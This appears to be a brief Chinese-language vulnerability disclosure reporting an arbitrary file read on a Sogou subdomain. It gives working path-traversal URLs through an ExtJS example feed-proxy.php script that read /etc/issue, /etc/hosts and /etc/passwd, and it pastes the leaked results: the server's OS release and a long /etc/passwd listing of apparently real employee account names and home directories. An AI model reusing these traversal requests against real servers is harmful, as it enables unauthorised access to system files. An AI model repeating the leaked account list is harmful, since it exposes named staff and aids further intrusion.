搜狗某站任意文件读取

view-source:http://athena.brand.sogou.com/extjs//examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/issueRed Hat Enterprise Linux Server release 5.5 (Tikanga)Kernel \r on an \mview-source:http://athena.brand.sogou.com/extjs//examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/hosts

 

 

view-source:http://athena.brand.sogou.com/extjs//examples/feed-viewer/feed-proxy.php?feed=http/../../../../../../../../../../../etc/passwdnagios:x:101:501:nagios:/var/log/nagios:/bin/shnetmonitor:x:501:502::/home/netmonitor:/bin/bashmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bashwork:x:502:503::/search/work/:/bin/bashwangliyang:x:504:505::/search/wangliyang:/bin/bashwangjun:x:505:506::/search/wangjun:/bin/bashkenan:x:506:507::/search/kenan:/bin/bashanyi:x:507:508::/search/anyi:/bin/bashjiabeibei:x:508:509::/search/jiabeibei:/bin/bashmengxianglong:x:509:510::/search/mengxianglong:/bin/bashlijianhui:x:511:512::/search/lijianhui:/bin/bashwangdejian:x:512:513::/search/wangdejian:/bin/bashchenjiajie:x:513:514::/search/chenjiajie:/bin/bashwangxiaobo:x:514:515::/search/wangxiaobo:/bin/bashshenjufang:x:516:517::/search/shenjufang:/bin/bashyangyong:x:518:519::/search/yangyong:/bin/bashliudi:x:519:520::/search/liudi:/bin/bashzhengshuang:x:520:521::/search/zhengshuang:/bin/bashwangxiaodan:x:522:523::/search/wangxiaodan:/bin/bashliuxun:x:523:524::/search/liuxun:/bin/bashgit:x:102:105:git version control:/data2/git:/bin/shgitlab:x:524:525:gitlab system:/data2/gitlab:/bin/bashleonwang:x:525:526::/search/leonwang:/bin/bashzhangxinyu:x:526:527::/search/zhangxinyu:/bin/bashxieqianlong:x:527:528::/search/xieqianlong:/bin/bashhandong:x:528:529::/search/handong:/bin/bashdenglin:x:529:530::/search/denglin:/bin/bashwangxingxing:x:531:532::/search/wangxingxing:/bin/bashliyaxu:x:532:533::/search/liyaxu:/bin/bashwangxiaochuan:x:533:534::/search/wangxiaochuan:/bin/bashfanguotao:x:534:535::/search/fanguotao:/bin/bashxupeng:x:535:536::/search/xupeng:/bin/bashliuzhenning:x:536:537::/search/liuzhenning:/bin/bashliuzhengning:x:537:538::/search/liuzhengning:/bin/bashliushipeng:x:538:539::/search/liushipeng:/bin/bashzabbix:x:539:541::/home/zabbix:/bin/bashzhangzhenhui:x:540:542::/search/zhangzhenhui:/bin/bashgujinwei:x:541:543::/search/gujinwei:/bin/bashwangkun:x:542:544::/search/wangkun:/bin/bashyangdaijun:x:543:545::/search/yangdaijun:/bin/bashop:x:545:547::/home/op:/bin/bashwangzehua:x:547:549::/search/wangzehua:/bin/bashweiqingdi:x:548:548::/search/weiqingdi:/bin/bashwewiqingdi:x:549:550::/home/wewiqingdi:/bin/bashliwenlong:x:550:551::/search/liwenlong:/bin/bashyanmingying:x:551:552::/search/yanmingying:/bin/bashlianghanjing:x:552:553::/search/lianghanjing:/bin/bashgengcaili:x:553:554::/search/gengcaili:/bin/bashmuhaoxing:x:554:555::/search/muhaoxing:/bin/bashhanchen:x:555:556::/search/hanchen:/bin/bashzhangli:x:556:557::/search/zhangli:/bin/bash